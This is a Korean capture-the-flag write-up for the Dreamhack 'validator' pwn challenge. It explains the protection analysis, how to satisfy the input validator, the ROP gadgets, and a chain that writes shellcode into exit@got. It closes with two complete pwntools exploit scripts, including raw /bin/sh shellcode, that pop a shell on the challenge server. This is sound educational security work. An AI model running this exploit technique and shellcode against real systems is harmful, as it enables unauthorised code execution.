validator
NX disabled and a writable GOT, so the shellcode is written directly into the GOT and jumped to.
먼저 바이너리의 보호 기법을 확인한다.
- No Canary → stack overflow 로 return address overwrite 가능
- NX Disabled → GOT 같은 writable 영역에 쓴 shellcode 실행 가능
- No PIE → gadget, PLT, GOT 주소가 고정
- Partial RELRO / No RELRO → GOT 영역에 write 가능
이 문제에서는 exit@got 영역에 shellcode 를 직접 쓰고 해당 주소로 jump 하는 방식이므로, 특히 NX Disabled 와 GOT writable 조건이 중요하다.
IDA pseudocode 기준으로 main 함수는 다음과 같은 형태이다. 소스 코드가 없어서 아이다 디코딩을 썼다.
핵심 흐름은 다음과 같다.
- 프로그램이 stdin 으로 최대 0x400 bytes 를 입력받는다.
- 입력값에 대한 validator 함수가 실행된다.
- validator 조건을 만족하면 main 함수가 return 된다.
- 그러나 입력 버퍼는 128 bytes 인데 read size 는 0x400 bytes 이므로 stack overflow 가 발생한다.
- return address 를 ROP chain 으로 덮는다.
- ROP chain 으로
read(0, exit@got, 0x150)을 호출한다. - 두 번째 입력으로 shellcode 를
exit@got에 쓴다. - read 가 끝난 뒤
exit@got로 jump 하여 shellcode 를 실행한다. - shell 을 획득한다.
따라서 128 bytes 를 초과하는 입력을 넣으면 saved RBP 와 return address 를 덮을 수 있다. x64 기준 stack 구조는 보통 다음과 같다.
s[128]
saved RBP 8 bytes
return address 8 bytes
따라서 return address 까지 도달하기 위한 offset 은 128 + 8 = 136 bytes 이다. 즉, payload 의 앞 136 bytes 를 채운 뒤 그 다음부터 ROP chain 을 배치하면 된다.
Validator 조건
첫 번째 loop 는 입력의 앞 10 bytes 를 검사한다.
for (i = 0; i <= 9; ++i) {
if (s[i] != aDreamhack[i])
exit(0);
}
IDA 에서 aDreamhack 문자열을 확인하면 문제에서 요구하는 첫 10 bytes 는 DREAMHACK! 이다. 따라서 payload 는 반드시 다음 문자열로 시작해야 한다.
payload = b"DREAMHACK!"
길이는 정확히 10 bytes 이다.
D R E A M H A C K !
0 1 2 3 4 5 6 7 8 9
두 번째 loop 는 j = 11 부터 시작한다.
for (j = 11; a2 > j; ++j) {
if (s[j] != s[j + 1] + 1)
exit(0);
}
여기서 a2 는 0x80, 즉 128이다. 따라서 loop 범위는 j = 11 ~ 127 이고, 조건은 s[j] == s[j + 1] + 1 이다. 즉, 현재 byte 가 다음 byte 보다 정확히 1 커야 한다. 예를 들어 119, 118, 117, 116, ..., 1 같은 형태는 조건을 만족한다.
payload 구조를 보면:
s[0] ~ s[9] = DREAMHACK!
s[10] = 119
s[11] = 118
s[12] = 117
...
검증은 s[11] 부터 시작하므로 s[11] == s[12] + 1, 즉 118 == 117 + 1 로 조건을 만족한다. 현재 payload 길이는 129 bytes 이다.
payload = b"DREAMHACK!" # 10
payload += bytes(range(119, 0, -1)) # 119
# 10 + 119 = 129 bytes
return address 까지 도달하려면 136 bytes 가 필요하다 (buffer 128 bytes + saved RBP 8 bytes). 따라서 추가로 7 bytes 를 더 채운다.
payload += b"a" * 7
# 129 + 7 = 136 bytes
즉, 다음에 들어가는 8 bytes 가 return address 를 덮게 된다.
ROP Gadget 찾기
ROPgadget 으로 필요한 gadget 을 찾는다.
ROPgadget --binary ./validator_server --re "pop rdi"
# 0x00000000004006f3 : pop rdi ; ret
ROPgadget --binary ./validator_server --re "pop rsi"
# 0x00000000004006f1 : pop rsi ; pop r15 ; ret
ROPgadget --binary ./validator_server --re "pop rdx"
# 0x000000000040057b : pop rdx ; ret
pop rsi gadget 은 rsi 뿐만 아니라 r15 도 같이 pop 한다. 따라서 ROP chain 에서 값을 2개 넣어야 한다. 최종적으로 사용할 gadget 은 다음과 같다.
pop_rdi = 0x004006f3
pop_rsi_r15 = 0x004006f1
pop_rdx = 0x0040057b
ROP chain 구성
e.plt['read'] 는 read@plt 주소이다. PLT 는 외부 함수 호출을 위한 stub 이다. ROP chain 에서 read@plt 로 이동하면 실제 read() 를 호출할 수 있다. 이 시점에 레지스터가 RDI = 0, RSI = exit@got, RDX = 0x150 으로 세팅되어 있으면 실제로는 read(0, exit@got, 0x150); 이 호출된다.
먼저 RDI 설정. read() 의 첫 번째 인자인 file descriptor 를 stdin 으로 설정한다.
payload += p64(pop_rdi) + p64(0)
다음은 RSI 설정이다. pop rsi ; pop r15 ; ret gadget 이므로 값을 2개 넣어야 한다. R15 는 exploit 에서 사용하지 않고, 단지 gadget 이 pop r15 까지 포함하고 있기 때문에 dummy 값으로 0을 넣는다.
payload += p64(pop_rsi_r15) + p64(e.got['exit']) + p64(0)
다음은 RDX 설정이다.
payload += p64(pop_rdx) + p64(0x150)
이제 인자 세팅이 끝났으므로 read@plt 를 호출한다.
payload += p64(e.plt['read'])
마지막으로 read() 가 끝난 뒤 jump 할 주소를 넣는다. 즉, read() 가 return 하면 RIP 는 exit@got 가 된다.
payload += p64(e.got['exit'])
최종 Exploit Code
from pwn import *
p = remote('host3.dreamhack.games', 22617)
e = ELF("./validator_server")
context.arch = "amd64"
shellcode = asm(shellcraft.sh())
pop_rdi = 0x004006f3
pop_rsi_r15 = 0x004006f1
pop_rdx = 0x0040057b
payload = b"DREAMHACK!" # 10 바이트
list = []
for i in range(119, 0, -1): # 119 바이트
list.append(i)
payload += bytes(list)
payload += b'a' * 7 # 129 바이트를 8바이트 단위로 맞추려고 7 추가
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(e.got['exit']) + p64(0)
payload += p64(pop_rdx) + p64(0x150) + p64(e.plt['read'])
payload += p64(e.got['exit'])
p.send(payload)
p.send(shellcode)
p.interactive()
GNU binutils 쪽에서 문제가 생겨 asm(shellcraft.sh()) 부분은 다른 방법으로 처리했다.
from pwn import *
context.clear(arch='amd64', os='linux')
p = remote('host3.dreamhack.games', 22617)
e = ELF("./validator_server")
shellcode = (
b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e"
b"\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58"
b"\x99\x0f\x05"
)
pop_rdi = 0x004006f3
pop_rsi_r15 = 0x004006f1
pop_rdx = 0x0040057b
payload = b"DREAMHACK!"
payload += bytes(range(119, 0, -1))
payload += b'a' * 7
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(e.got['exit']) + p64(0)
payload += p64(pop_rdx) + p64(0x150) + p64(e.plt['read'])
payload += p64(e.got['exit'])
p.send(payload)
p.send(shellcode)
p.interactive()
끄읕ㅌㅌ



